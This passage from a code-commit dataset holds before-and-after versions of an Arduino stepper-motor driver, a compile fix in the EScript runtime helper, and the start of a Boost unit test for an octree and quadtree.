(step_high_min)\n        if (m < step_high_min){ \/\/ fast MCPU or CONSTANT_SPEED\n            delayMicros(step_high_min-m);\n            m = step_high_min;\n        };\n        digitalWrite(step_pin, LOW);\n        \/\/ account for calcStepPulse() execution time; sets ceiling for max rpm on slower MCUs\n        last_action_end = micros();\n        next_action_interval = (pulse > m) ? pulse - m : 1;\n    } else {\n        \/\/ end of move\n        last_action_end = 0;\n        next_action_interval = 0;\n    }\n    return next_action_interval;\n}\n\nenum BasicStepperDriver::State BasicStepperDriver::getCurrentState(void){\n    enum State state;\n    if (steps_remaining <= 0){\n        state = STOPPED;\n    } else {\n        if (steps_remaining <= steps_to_brake){\n            state = DECELERATING;\n        } else if (step_count <= steps_to_cruise){\n            state = ACCELERATING;\n        } else {\n            state = CRUISING;\n        }\n    }\n    return state;\n}\n\n\/*\n * Enable\/Disable the motor by setting a digital flag\n *\/\nvoid BasicStepperDriver::enable(void){\n    if IS_CONNECTED(enable_pin){\n        digitalWrite(enable_pin, LOW);\n    }\n}\n\nvoid BasicStepperDriver::disable(void){\n    if IS_CONNECTED(enable_pin){\n        digitalWrite(enable_pin, HIGH);\n    }\n}\n\nshort BasicStepperDriver::getMaxMicrostep(){\n    return BasicStepperDriver::MAX_MICROSTEP;\n}\n<commit_msg>partially reverting commit 33abe65 to address SyncDriver issues #53<commit_after>\/*\n * Generic Stepper Motor Driver Driver\n * Indexer mode only.\n\n * Copyright (C)2015-2017 Laurentiu Badea\n *\n * This file may be redistributed under the terms of the MIT license.\n * A copy of this license has been included with this distribution in the file LICENSE.\n *\n * Linear speed profile calculations based on\n * - Generating stepper-motor speed profiles in real time - David Austin, 2004\n * - Atmel AVR446: Linear speed control of stepper motor, 2006\n *\/\n#include \"BasicStepperDriver.h\"\n\n\/*\n * Basic connection: only DIR, STEP are connected.\n * Microstepping controls should be hardwired.\n *\/\nBasicStepperDriver::BasicStepperDriver(short steps, short dir_pin, short step_pin)\n:motor_steps(steps), dir_pin(dir_pin), step_pin(step_pin)\n{\n\tsteps_to_cruise = 0;\n\tsteps_remaining = 0;\n\tdir_state = 0;\n\tsteps_to_brake = 0;\n\tstep_pulse = 0;\n\trest = 0;\n\tstep_count = 0;\n}\n\nBasicStepperDriver::BasicStepperDriver(short steps, short dir_pin, short step_pin, short enable_pin)\n:motor_steps(steps), dir_pin(dir_pin), step_pin(step_pin), enable_pin(enable_pin)\n{\n\tsteps_to_cruise = 0;\n\tsteps_remaining = 0;\n\tdir_state = 0;\n\tsteps_to_brake = 0;\n\tstep_pulse = 0;\n\trest = 0;\n\tstep_count = 0;\n}\n\n\/*\n * Initialize pins, calculate timings etc\n *\/\nvoid BasicStepperDriver::begin(short rpm, short microsteps){\n    pinMode(dir_pin, OUTPUT);\n    digitalWrite(dir_pin, HIGH);\n\n    pinMode(step_pin, OUTPUT);\n    digitalWrite(step_pin, LOW);\n\n    if IS_CONNECTED(enable_pin){\n        pinMode(enable_pin, OUTPUT);\n        digitalWrite(enable_pin, HIGH); \/\/ disable\n    }\n\n    this->rpm = rpm;\n    setMicrostep(microsteps);\n\n    enable();\n}\n\n\/*\n * Set target motor RPM (1-200 is a reasonable range)\n *\/\nvoid BasicStepperDriver::setRPM(short rpm){\n    if (this->rpm == 0){        \/\/ begin() has not been called (old 1.0 code)\n        begin(rpm, microsteps);\n    }\n    this->rpm = rpm;\n}\n\n\/*\n * Set stepping mode (1:microsteps)\n * Allowed ranges for BasicStepperDriver are 1:1 to 1:128\n *\/\nshort BasicStepperDriver::setMicrostep(short microsteps){\n    for (short ms=1; ms <= getMaxMicrostep(); ms<<=1){\n        if (microsteps == ms){\n            this->microsteps = microsteps;\n            break;\n        }\n    }\n    return this->microsteps;\n}\n\n\/*\n * Set speed profile - CONSTANT_SPEED, LINEAR_SPEED (accelerated)\n * accel and decel are given in [full steps\/s^2]\n *\/\nvoid BasicStepperDriver::setSpeedProfile(Mode mode, short accel, short decel){\n    profile.mode = mode;\n    profile.accel = accel;\n    profile.decel = decel;\n}\nvoid BasicStepperDriver::setSpeedProfile(struct Profile profile){\n    this->profile = profile;\n}\n\n\/*\n * Move the motor a given number of steps.\n * positive to move forward, negative to reverse\n *\/\nvoid BasicStepperDriver::move(long steps){\n    startMove(steps);\n    while (nextAction());\n}\n\/*\n * Move the motor a given number of degrees (1-360)\n *\/\nvoid BasicStepperDriver::rotate(long deg){\n    move(calcStepsForRotation(deg));\n}\n\/*\n * Move the motor with sub-degree precision.\n * Note that using this function even once will add 1K to your program size\n * due to inclusion of float support.\n *\/\nvoid BasicStepperDriver::rotate(double deg){\n    move(calcStepsForRotation(deg));\n}\n\n\/*\n * Set up a new move (calculate and save the parameters)\n *\/\nvoid BasicStepperDriver::startMove(long steps){\n    long speed;\n    \/\/ set up new move\n    dir_state = (steps >= 0) ? HIGH : LOW;\n    last_action_end = 0;\n    steps_remaining = abs(steps);\n    step_count = 0;\n    rest = 0;\n    switch (profile.mode){\n    case LINEAR_SPEED:\n        \/\/ speed is in [steps\/s]\n        speed = rpm * motor_steps \/ 60;\n        \/\/ how many steps from 0 to target rpm\n        steps_to_cruise = speed * speed * microsteps \/ (2 * profile.accel);\n        \/\/ how many steps are needed from target rpm to a full stop\n        steps_to_brake = steps_to_cruise * profile.accel \/ profile.decel;\n        if (steps_remaining < steps_to_cruise + steps_to_brake){\n            \/\/ cannot reach max speed, will need to brake early\n            steps_to_cruise = steps_remaining * profile.decel \/ (profile.accel + profile.decel);\n            steps_to_brake = steps_remaining - steps_to_cruise;\n        }\n        \/\/ Initial pulse (c0) including error correction factor 0.676 [us]\n        step_pulse = (1e+6)*0.676*sqrt(2.0f\/(profile.accel*microsteps));\n        break;\n\n    case CONSTANT_SPEED:\n    default:\n        step_pulse = STEP_PULSE(rpm, motor_steps, microsteps);\n        steps_to_cruise = 0;\n        steps_to_brake = 0;\n    }\n}\n\/*\n * Alter a running move by adding\/removing steps\n * FIXME: This is a naive implementation and it only works well in CRUISING state\n *\/\nvoid BasicStepperDriver::alterMove(long steps){\n    switch (getCurrentState()){\n    case ACCELERATING: \/\/ this also works but will keep the original speed target\n    case CRUISING:\n        if (steps >= 0){\n            steps_remaining += steps;\n        } else {\n            steps_remaining = max(steps_to_brake, steps_remaining+steps);\n        };\n        break;\n    case DECELERATING:\n        \/\/ would need to start accelerating again -- NOT IMPLEMENTED\n        break;\n    case STOPPED:\n        startMove(steps);\n        break;\n    }\n}\n\/*\n * Brake early.\n *\/\nvoid BasicStepperDriver::startBrake(void){\n    switch (getCurrentState()){\n    case CRUISING:  \/\/ this applies to both CONSTANT_SPEED and LINEAR_SPEED modes\n        steps_remaining = steps_to_brake;\n        break;\n\n    case ACCELERATING:\n        steps_remaining = step_count * profile.accel \/ profile.decel;\n        break;\n\n    default:\n        break; \/\/ nothing to do if already stopped or braking\n    }\n}\n\/*\n * Stop movement immediately.\n *\/\nvoid BasicStepperDriver::stop(void){\n    steps_remaining = 0;\n}\n\/*\n * Return calculated time to complete the given move\n *\/\nlong BasicStepperDriver::getTimeForMove(long steps){\n    long t;\n    switch (profile.mode){\n        case LINEAR_SPEED:\n            startMove(steps);\n            t = sqrt(2 * steps_to_cruise \/ profile.accel) + \n                (steps_remaining - steps_to_cruise - steps_to_brake) * STEP_PULSE(rpm, motor_steps, microsteps) +\n                sqrt(2 * steps_to_brake \/ profile.decel);\n            break;\n        case CONSTANT_SPEED:\n        default:\n            t = steps * STEP_PULSE(rpm, motor_steps, microsteps);\n    }\n    return t;\n}\n\/*\n * Move the motor an integer number of degrees (360 = full rotation)\n * This has poor precision for small amounts, since step is usually 1.8deg\n *\/\nvoid BasicStepperDriver::startRotate(long deg){\n    startMove(calcStepsForRotation(deg));\n}\n\/*\n * Move the motor with sub-degree precision.\n * Note that calling this function will increase program size substantially\n * due to inclusion of float support.\n *\/\nvoid BasicStepperDriver::startRotate(double deg){\n    startMove(calcStepsForRotation(deg));\n}\n\n\/*\n * calculate the interval til the next pulse\n *\/\nvoid BasicStepperDriver::calcStepPulse(void){\n    if (steps_remaining <= 0){  \/\/ this should not happen, but avoids strange calculations\n        return;\n    }\n\n    steps_remaining--;\n    step_count++;\n\n    if (profile.mode == LINEAR_SPEED){\n        switch (getCurrentState()){\n        case ACCELERATING:\n            step_pulse = step_pulse - (2*step_pulse+rest)\/(4*step_count+1);\n            rest = (step_count < steps_to_cruise) ? (2*step_pulse+rest) % (4*step_count+1) : 0;\n            break;\n\n        case DECELERATING:\n            step_pulse = step_pulse - (2*step_pulse+rest)\/(-4*steps_remaining+1);\n            rest = (2*step_pulse+rest) % (-4*steps_remaining+1);\n            break;\n\n        default:\n            break; \/\/ no speed changes\n        }\n    }\n}\n\/*\n * Yield to step control\n * Toggle step and return time until next change is needed (micros)\n *\/\nlong BasicStepperDriver::nextAction(void){\n    if (steps_remaining > 0){\n        delayMicros(next_action_interval, last_action_end);\n        \/*\n         * DIR pin is sampled on rising STEP edge, so it is set first\n         *\/\n        digitalWrite(dir_pin, dir_state);\n        digitalWrite(step_pin, HIGH);\n        unsigned m = micros();\n        unsigned long pulse = step_pulse; \/\/ save value because calcStepPulse() will overwrite it\n        calcStepPulse();\n        m = micros() - m;\n        \/\/ We should pull HIGH for 1-2us (step_high_min)\n        if (m < step_high_min){ \/\/ fast MCPU or CONSTANT_SPEED\n            delayMicros(step_high_min-m);\n            m = step_high_min;\n        };\n        digitalWrite(step_pin, LOW);\n        \/\/ account for calcStepPulse() execution time; sets ceiling for max rpm on slower MCUs\n        last_action_end = micros();\n        next_action_interval = (pulse > m) ? pulse - m : 1;\n    } else {\n        \/\/ end of move\n        last_action_end = 0;\n        next_action_interval = 0;\n    }\n    return next_action_interval;\n}\n\nenum BasicStepperDriver::State BasicStepperDriver::getCurrentState(void){\n    enum State state;\n    if (steps_remaining <= 0){\n        state = STOPPED;\n    } else {\n        if (steps_remaining <= steps_to_brake){\n            state = DECELERATING;\n        } else if (step_count <= steps_to_cruise){\n            state = ACCELERATING;\n        } else {\n            state = CRUISING;\n        }\n    }\n    return state;\n}\n\n\/*\n * Enable\/Disable the motor by setting a digital flag\n *\/\nvoid BasicStepperDriver::enable(void){\n    if IS_CONNECTED(enable_pin){\n        digitalWrite(enable_pin, LOW);\n    }\n}\n\nvoid BasicStepperDriver::disable(void){\n    if IS_CONNECTED(enable_pin){\n        digitalWrite(enable_pin, HIGH);\n    }\n}\n\nshort BasicStepperDriver::getMaxMicrostep(){\n    return BasicStepperDriver::MAX_MICROSTEP;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RuntimeHelper.cpp\n\/\/ This file is part of the EScript programming language (https:\/\/github.com\/EScript)\n\/\/\n\/\/ Copyright (C) 2013-2014 Claudius Jähn <ClaudiusJ@live.de>\n\/\/\n\/\/ Licensed under the MIT License. See LICENSE file for details.\n\/\/ ---------------------------------------------------------------------------------\n#include \"..\/Basics.h\"\n#include \"..\/StdObjects.h\"\n\n#include \"..\/Objects\/Callables\/UserFunction.h\"\n#include \"..\/Objects\/Exception.h\"\n#include \"..\/Compiler\/Compiler.h\"\n#include \"..\/Runtime\/Runtime.h\"\n#include \"IO\/IO.h\"\n#include \"..\/Consts.h\"\n#include <sstream>\n\nnamespace EScript {\n\nnamespace _Internals{\n\/\/! (static, internal)\nvoid assertParamCount_2(Runtime & runtime, int paramCount, int min, int max) {\n\tif(min >= 0 && paramCount < min) {\n\t\tstd::ostringstream sprinter;\n\t\tsprinter << \"Too few parameters: Expected \" << min << \", got \" << paramCount << \".\";\n\t\tObjPtr caller = runtime.getCallingObject();\n\t\tif(caller) {\n\t\t\tsprinter << caller->toString();\n\t\t}\n\t\truntime.throwException(sprinter.str());\n\t} else  if(max >= 0 && paramCount > max) {\n\t\tstd::ostringstream sprinter;\n\t\tsprinter << \"Too many parameters: Expected \" << max << \", got \" << paramCount << \".\";\n\t\tObjPtr caller = runtime.getCallingObject();\n\t\tif(caller) {\n\t\t\tsprinter << caller->toString();\n\t\t}\n\t\truntime.warn(sprinter.str());\n\t}\n}\n\n\/\/! (static, internal) Non-inline part of assertType(...)\nvoid assertType_throwError(Runtime & runtime, const ObjPtr & obj,const char * className) {\n\truntime.throwException(\"Wrong object type: \"+ obj.toDbgString() + \" is not of type \"+className+'.');\n}\n}\n\n\/\/! (static)\nObjRef callMemberFunction(Runtime & runtime, ObjPtr obj, StringId fnNameId, const ParameterValues & params) {\n\tif(obj.isNull())\n\t\truntime.throwException(\"Can not call member '\"+fnNameId.toString()+\"' function without object.\");\n\tconst Attribute & fun = obj->getAttribute(fnNameId).getValue();\n\tif(fun.isNull())\n\t\truntime.throwException(\"No member to call \"+obj.toDbgString()+\".'\"+fnNameId.toString()+\"'(...).\");\n\treturn runtime.executeFunction(fun.getValue(), obj.get(), params);\n}\n\n\/\/! (static)\nObjRef callFunction(Runtime & runtime, Object * function, const ParameterValues & params) {\n\tif(function == nullptr)\n\t\truntime.throwException(\"callFunction(nullptr): no function to call.\");\n\treturn runtime.executeFunction(function, nullptr, params);\n}\n\n\n\/\/\/\/! (static)\n\/\/void out(Object * obj) {\n\/\/\tif(obj == nullptr) {\n\/\/\t\tstd::cout << \"nullptr\";\n\/\/\t} else {\n\/\/\t\tstd::cout << obj->toString();\n\/\/\t}\n\/\/}\n\n\/\/! (static)\nObjRef _eval(Runtime & runtime, const CodeFragment & code,const std::unordered_map<StringId,ObjRef>& staticVars){\n\tCompiler compiler(runtime.getLogger());\n\tstd::vector<StringId> staticVarNames;\n\tfor(auto & entry: staticVars)\n\t\tstaticVarNames.emplace_back(entry.first);\n\tauto compileUnit = compiler.compile(code,staticVarNames);\n\tUserFunction * script = compileUnit.first.get();\n\tif(!script)\n\t\treturn nullptr;\n\n\t\/\/ assign injected static variable values\n\tauto * staticData = compileUnit.second.get();\n\tif(staticData){\n\t\tsize_t i=0;\n\t\tfor(auto & staticVarName: staticData->getStaticVariableNames()){\n\t\t\tconst auto it = staticVars.find(staticVarName);\n\t\t\tif(it!=staticVars.end())\n\t\t\t\tstaticData->updateStaticVariable(i,it->second.get());\n\t\t\t++i;\n\t\t}\n\t}\n\treturn runtime.executeFunction(script,nullptr,ParameterValues());\n}\n\n\n\/\/! (static)\nObjRef _loadAndExecute(Runtime & runtime, const std::string & filename,const std::unordered_map<StringId,ObjRef>& staticVars) {\n\tconst StringData file = IO::loadFile(filename);\n\treturn _eval(runtime,CodeFragment(StringId(filename),file),staticVars);\n}\n\n\/\/! (static)\nstd::pair<bool, ObjRef> loadAndExecute(Runtime & runtime, const std::string & filename) {\n\tconst std::unordered_map<StringId,ObjRef> staticVars;\n\treturn loadAndExecute(runtime,filename,staticVars);\n}\n\nstd::pair<bool, ObjRef> loadAndExecute(Runtime & runtime, const std::string & filename,const std::unordered_map<StringId,ObjRef>& staticVars) {\n\ttry {\n\t\tObjRef result = _loadAndExecute(runtime,filename,staticVars);\n\t\tObjRef exitResult = runtime.fetchAndClearExitResult();\n\t\treturn std::make_pair(true,exitResult ? exitResult : result);\n\t} catch (Object * error) {\n\t\tstd::ostringstream os;\n\t\tos << \"Error occurred while loading file '\" << filename << \"':\\n\" << error->toString() << std::endl;\n\t\truntime.log(Logger::LOG_ERROR,os.str());\n\t\treturn std::make_pair(false, error);\n\t}\n\/\/\t}catch(...){\n\/\/\t\tstd::cout << \"\\nCaught unknown C++ exception.\" << std::endl;\n\/\/\t\treturn std::make_pair(false, result.detachAndDecrease());\n}\n\n\n\/\/! (static)\nstd::pair<bool, ObjRef> eval(Runtime & runtime, const StringData & code,const StringId & fileId) {\n\ttry {\n\t\tstd::unordered_map<StringId,ObjRef> staticVars;\n\t\tObjRef result = _eval(runtime,CodeFragment( (fileId.empty() ? Consts::FILENAME_INLINE : fileId), code),staticVars);\n\t\treturn std::make_pair(true,std::move(result));\n\t} catch (Object * error) {\n\t\tstd::ostringstream os;\n\t\tos << \"Error occurred while evaluating '\" << code.str() << \"':\\n\" << error->toString();\n\t\truntime.log(Logger::LOG_ERROR,os.str());\n\t\treturn std::make_pair(false, error);\n\t}\n}\n\n\/\/! (static)\nstd::pair<bool, ObjRef> executeStream(Runtime & runtime, std::istream & stream) {\n\tstd::string streamData;\n\twhile(stream.good()) {\n\t\tchar buffer[256];\n\t\tstream.read(buffer, 256);\n\t\tstreamData.append(buffer, stream.gcount());\n\t}\n\tstatic const StringId stdinId(\"stdin\");\n\treturn eval(runtime,StringData(streamData),stdinId);\n}\n\n\/\/! (static)\nvoid throwRuntimeException(const std::string & what){\n\tthrow new Exception(what);\n}\n\n}\n<commit_msg>Compile fix for empty unordered_map and clang<commit_after>\/\/ RuntimeHelper.cpp\n\/\/ This file is part of the EScript programming language (https:\/\/github.com\/EScript)\n\/\/\n\/\/ Copyright (C) 2013-2014 Claudius Jähn <ClaudiusJ@live.de>\n\/\/\n\/\/ Licensed under the MIT License. See LICENSE file for details.\n\/\/ ---------------------------------------------------------------------------------\n#include \"..\/Basics.h\"\n#include \"..\/StdObjects.h\"\n\n#include \"..\/Objects\/Callables\/UserFunction.h\"\n#include \"..\/Objects\/Exception.h\"\n#include \"..\/Compiler\/Compiler.h\"\n#include \"..\/Runtime\/Runtime.h\"\n#include \"IO\/IO.h\"\n#include \"..\/Consts.h\"\n#include <sstream>\n\nnamespace EScript {\n\nnamespace _Internals{\n\/\/! (static, internal)\nvoid assertParamCount_2(Runtime & runtime, int paramCount, int min, int max) {\n\tif(min >= 0 && paramCount < min) {\n\t\tstd::ostringstream sprinter;\n\t\tsprinter << \"Too few parameters: Expected \" << min << \", got \" << paramCount << \".\";\n\t\tObjPtr caller = runtime.getCallingObject();\n\t\tif(caller) {\n\t\t\tsprinter << caller->toString();\n\t\t}\n\t\truntime.throwException(sprinter.str());\n\t} else  if(max >= 0 && paramCount > max) {\n\t\tstd::ostringstream sprinter;\n\t\tsprinter << \"Too many parameters: Expected \" << max << \", got \" << paramCount << \".\";\n\t\tObjPtr caller = runtime.getCallingObject();\n\t\tif(caller) {\n\t\t\tsprinter << caller->toString();\n\t\t}\n\t\truntime.warn(sprinter.str());\n\t}\n}\n\n\/\/! (static, internal) Non-inline part of assertType(...)\nvoid assertType_throwError(Runtime & runtime, const ObjPtr & obj,const char * className) {\n\truntime.throwException(\"Wrong object type: \"+ obj.toDbgString() + \" is not of type \"+className+'.');\n}\n}\n\n\/\/! (static)\nObjRef callMemberFunction(Runtime & runtime, ObjPtr obj, StringId fnNameId, const ParameterValues & params) {\n\tif(obj.isNull())\n\t\truntime.throwException(\"Can not call member '\"+fnNameId.toString()+\"' function without object.\");\n\tconst Attribute & fun = obj->getAttribute(fnNameId).getValue();\n\tif(fun.isNull())\n\t\truntime.throwException(\"No member to call \"+obj.toDbgString()+\".'\"+fnNameId.toString()+\"'(...).\");\n\treturn runtime.executeFunction(fun.getValue(), obj.get(), params);\n}\n\n\/\/! (static)\nObjRef callFunction(Runtime & runtime, Object * function, const ParameterValues & params) {\n\tif(function == nullptr)\n\t\truntime.throwException(\"callFunction(nullptr): no function to call.\");\n\treturn runtime.executeFunction(function, nullptr, params);\n}\n\n\n\/\/\/\/! (static)\n\/\/void out(Object * obj) {\n\/\/\tif(obj == nullptr) {\n\/\/\t\tstd::cout << \"nullptr\";\n\/\/\t} else {\n\/\/\t\tstd::cout << obj->toString();\n\/\/\t}\n\/\/}\n\n\/\/! (static)\nObjRef _eval(Runtime & runtime, const CodeFragment & code,const std::unordered_map<StringId,ObjRef>& staticVars){\n\tCompiler compiler(runtime.getLogger());\n\tstd::vector<StringId> staticVarNames;\n\tfor(auto & entry: staticVars)\n\t\tstaticVarNames.emplace_back(entry.first);\n\tauto compileUnit = compiler.compile(code,staticVarNames);\n\tUserFunction * script = compileUnit.first.get();\n\tif(!script)\n\t\treturn nullptr;\n\n\t\/\/ assign injected static variable values\n\tauto * staticData = compileUnit.second.get();\n\tif(staticData){\n\t\tsize_t i=0;\n\t\tfor(auto & staticVarName: staticData->getStaticVariableNames()){\n\t\t\tconst auto it = staticVars.find(staticVarName);\n\t\t\tif(it!=staticVars.end())\n\t\t\t\tstaticData->updateStaticVariable(i,it->second.get());\n\t\t\t++i;\n\t\t}\n\t}\n\treturn runtime.executeFunction(script,nullptr,ParameterValues());\n}\n\n\n\/\/! (static)\nObjRef _loadAndExecute(Runtime & runtime, const std::string & filename,const std::unordered_map<StringId,ObjRef>& staticVars) {\n\tconst StringData file = IO::loadFile(filename);\n\treturn _eval(runtime,CodeFragment(StringId(filename),file),staticVars);\n}\n\n\/\/! (static)\nstd::pair<bool, ObjRef> loadAndExecute(Runtime & runtime, const std::string & filename) {\n\treturn loadAndExecute(runtime, filename, {});\n}\n\nstd::pair<bool, ObjRef> loadAndExecute(Runtime & runtime, const std::string & filename,const std::unordered_map<StringId,ObjRef>& staticVars) {\n\ttry {\n\t\tObjRef result = _loadAndExecute(runtime,filename,staticVars);\n\t\tObjRef exitResult = runtime.fetchAndClearExitResult();\n\t\treturn std::make_pair(true,exitResult ? exitResult : result);\n\t} catch (Object * error) {\n\t\tstd::ostringstream os;\n\t\tos << \"Error occurred while loading file '\" << filename << \"':\\n\" << error->toString() << std::endl;\n\t\truntime.log(Logger::LOG_ERROR,os.str());\n\t\treturn std::make_pair(false, error);\n\t}\n\/\/\t}catch(...){\n\/\/\t\tstd::cout << \"\\nCaught unknown C++ exception.\" << std::endl;\n\/\/\t\treturn std::make_pair(false, result.detachAndDecrease());\n}\n\n\n\/\/! (static)\nstd::pair<bool, ObjRef> eval(Runtime & runtime, const StringData & code,const StringId & fileId) {\n\ttry {\n\t\tstd::unordered_map<StringId,ObjRef> staticVars;\n\t\tObjRef result = _eval(runtime,CodeFragment( (fileId.empty() ? Consts::FILENAME_INLINE : fileId), code),staticVars);\n\t\treturn std::make_pair(true,std::move(result));\n\t} catch (Object * error) {\n\t\tstd::ostringstream os;\n\t\tos << \"Error occurred while evaluating '\" << code.str() << \"':\\n\" << error->toString();\n\t\truntime.log(Logger::LOG_ERROR,os.str());\n\t\treturn std::make_pair(false, error);\n\t}\n}\n\n\/\/! (static)\nstd::pair<bool, ObjRef> executeStream(Runtime & runtime, std::istream & stream) {\n\tstd::string streamData;\n\twhile(stream.good()) {\n\t\tchar buffer[256];\n\t\tstream.read(buffer, 256);\n\t\tstreamData.append(buffer, stream.gcount());\n\t}\n\tstatic const StringId stdinId(\"stdin\");\n\treturn eval(runtime,StringData(streamData),stdinId);\n}\n\n\/\/! (static)\nvoid throwRuntimeException(const std::string & what){\n\tthrow new Exception(what);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#define BOOST_TEST_MODULE OctreeTest\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <string>\n\n#include \"octree.h\"\n#include \"tensor.h\"\n\nusing namespace nbody;\n\nstruct Leaf;\nstruct Node;\n\nusing TestOctree = Octree<Leaf, Node, 3>;\nusing TestQuadtree = Octree<Leaf, Node, 2>;\n\nstruct Leaf {\n\tstd::size_t data;\n\texplicit Leaf(int data) : data(data) {\n\t}\n};\n\nstruct Node {\n\tstd::size_t data;\n\texplicit Node(int data = 0) : data(data) {\n\t}\n};\n\n\/\/ Insert 8 leafs into an octree, one per octant.\nBOOST_AUTO_TEST_CASE(OctreeShallowInsertTest) {\n\tTestOctree octree(\n\t\t{0.0, 0.0, 0.0},\n\t\t{1.0, 1.0, 1.0},\n\t\t3, 4);\n\t\n\t\/\/ Put a single leaf in each octant of the octree. Check that after the\n\t\/\/ third insertion, the root node subdivides.\n\tfor (std::size_t index = 0; index < 8; ++index) {\n\t\tVector<3> position = {\n\t\t\t(Scalar) (index >> 0 & 1),\n\t\t\t(Scalar) (index >> 1 & 1),\n\t\t\t(Scalar) (index >> 2 & 1)\n\t\t};\n\t\tposition *= 0.9;\n\t\tposition += {0.05, 0.05, 0.05};\n\t\toctree.insert(Leaf(index), position);\n\t\tif (index < 3) {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 1,\n\t\t\t\t\"the root node should have no children for \" +\n\t\t\t\tstd::to_string(index + 1) + \" leafs\");\n\t\t}\n\t\telse {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 9,\n\t\t\t\t\"the root node should have children for \" +\n\t\t\t\tstd::to_string(index + 1) + \" leafs\");\n\t\t}\n\t}\n\t\n\tBOOST_REQUIRE_MESSAGE(\n\t\toctree.leafs().size() == 8,\n\t\t\"root should have 8 leafs\");\n\t\n\tTestOctree::NodeIterator root = octree.nodes().begin();\n\t\n\tBOOST_REQUIRE_MESSAGE(\n\t\troot.hasChildren(),\n\t\t\"root should have child nodes\");\n\t\n\tTestOctree::NodeRange children = root.children();\n\t\n\tBOOST_REQUIRE_MESSAGE(\n\t\tchildren.size() == 8,\n\t\t\"root should have 8 children\");\n\t\n\tfor (std::size_t index = 0; index < 8; ++index) {\n\t\tTestOctree::NodeIterator child = children.begin() + index;\n\t\tTestOctree::LeafRange leafs = child.leafs();\n\t\tTestOctree::LeafIterator leaf = leafs.begin();\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleafs.size() == 1,\n\t\t\t\"child \" << index << \" should have 1 leaf\");\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleaf->data == index,\n\t\t\t\"leaf has data \" << leaf->data << \", should be \" << index);\n\t}\n}\n\n\/\/ Insert a number of leafs into a quadtree, testing deeper insertion.\nBOOST_AUTO_TEST_CASE(OctreeDeepInsertTest) {\n\tTestQuadtree quadtree(\n\t\t{0.0, 0.0},\n\t\t{16.0, 16.0},\n\t\t3, 4);\n\t\n\t\/\/ The positions where the leafs will be placed.\n\tVector<2> positions[] = {\n\t\t{1,  2},\n\t\t{6,  2},\n\t\t{6,  6},\n\t\t{3,  2},\n\t\t{2,  6},\n\t\t{14, 6},\n\t\t{6,  14},\n\t\t{6,  10},\n\t\t{2,  10},\n\t\t{2,  14},\n\t\t\n\t\t{10, 6},\n\t\t{10, 2},\n\t\t{9,  9},\n\t\t{15, 1},\n\t\t{13, 3},\n\t\t{15, 3},\n\t\t{13, 1},\n\t\t{11, 9},\n\t\t{9,  11},\n\t\t{11, 11},\n\t\t\n\t\t{15, 9},\n\t\t{15, 13},\n\t\t{15, 11},\n\t\t{15, 15},\n\t\t{13, 9},\n\t\t{13, 13},\n\t\t{11, 13},\n\t\t{9,  13},\n\t\t{11, 15},\n\t\t{9,  15},\n\t};\n\tstd::size_t numLeafs = sizeof(positions) \/ sizeof(positions[0]);\n\t\n\t\/\/ These arrays are used to verify that the structure of the quadtree is\n\t\/\/ correct.\n\t\n\t\/\/ The iteration order over the leafs (with depth-first).\n\tstd::size_t order[] = {\n\t\t0,  3,  1,  4,  2,  11, 16, 13, 14, 15,\n\t\t10, 5,  8,  7,  9,  6,  12, 17, 18, 19,\n\t\t20, 22, 24, 27, 26, 29, 28, 21, 23, 25,\n\t};\n\t\/\/ Which nodes in the depth-first iteration order have children.\n\tbool nodeHasChildren[] = {\n\t\ttrue,\n\t\t\ttrue, false, false, false, false,\n\t\t\ttrue,\n\t\t\t\tfalse,\n\t\t\t\ttrue, false, false, false, false,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\ttrue, false, false, false, false,\n\t\t\ttrue,\n\t\t\t\ttrue, false, false, false, false,\n\t\t\t\tfalse,\n\t\t\t\ttrue, false, false, false, false,\n\t\t\t\tfalse,\n\t};\n\t\/\/ How many leafs each node should have.\n\tstd::size_t nodeNumLeafs[] = {\n\t\t30,\n\t\t\t5, 2, 1, 1, 1,\n\t\t\t7, 1, 4, 1, 1, 1, 1, 1, 1,\n\t\t\t4, 1, 1, 1, 1,\n\t\t\t14, 4, 1, 1, 1, 1, 3, 4, 1, 1, 1, 1, 3,\n\t};\n\t\n\tfor (std::size_t index = 0; index < numLeafs; ++index) {\n\t\tquadtree.insert(Leaf(index), positions[index]);\n\t}\n\t\n\t\/\/ Iterate over both the leafs and the nodes and compare them to the arrays\n\t\/\/ from above.\n\tfor (std::size_t index = 0; index < numLeafs; ++index) {\n\t\tstd::size_t leafData = quadtree.leafs()[index].data;\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleafData == order[index],\n\t\t\t\"leaf at index \" + std::to_string(index) +\n\t\t\t\" should have data \" + std::to_string(order[index]) +\n\t\t\t\" instead of data \" + std::to_string(leafData));\n\t}\n\t\n\tstd::size_t nodeIndex = 0;\n\tTestQuadtree::NodeIterator nodeIt = quadtree.nodes().begin();\n\twhile (nodeIt != quadtree.nodes().end()) {\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tnodeIt.hasChildren() == nodeHasChildren[nodeIndex],\n\t\t\t\"node at index \" + std::to_string(nodeIndex) + \" should\" +\n\t\t\t(!nodeHasChildren[nodeIndex] ? \" not\" : \"\") + \" have children\");\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tnodeIt.leafs().size() == nodeNumLeafs[nodeIndex],\n\t\t\t\"node at index \" + std::to_string(nodeIndex) +\n\t\t\t\" should have \" + std::to_string(nodeNumLeafs[nodeIndex]) +\n\t\t\t\" leafs instead of \" + std::to_string(nodeIt.leafs().size()) +\n\t\t\t\" leafs\");\n\t\t++nodeIndex;\n\t\t++nodeIt;\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(OctreeSamePointInsertTest) {\n\t\/\/ Create a quadtree with a maximum depth of 3. This corresponds to 4\n\t\/\/ generations of nodes (since the root node is at a depth of 0).\n\tTestQuadtree quadtree(\n\t\t{0.0, 0.0},\n\t\t{1.0, 1.0},\n\t\t3, 3);\n\t\n\tfor (std::size_t index = 0; index < 4; ++index) {\n\t\tquadtree.insert(Leaf(index), {1.0 \/ 16.0, 1.0 \/ 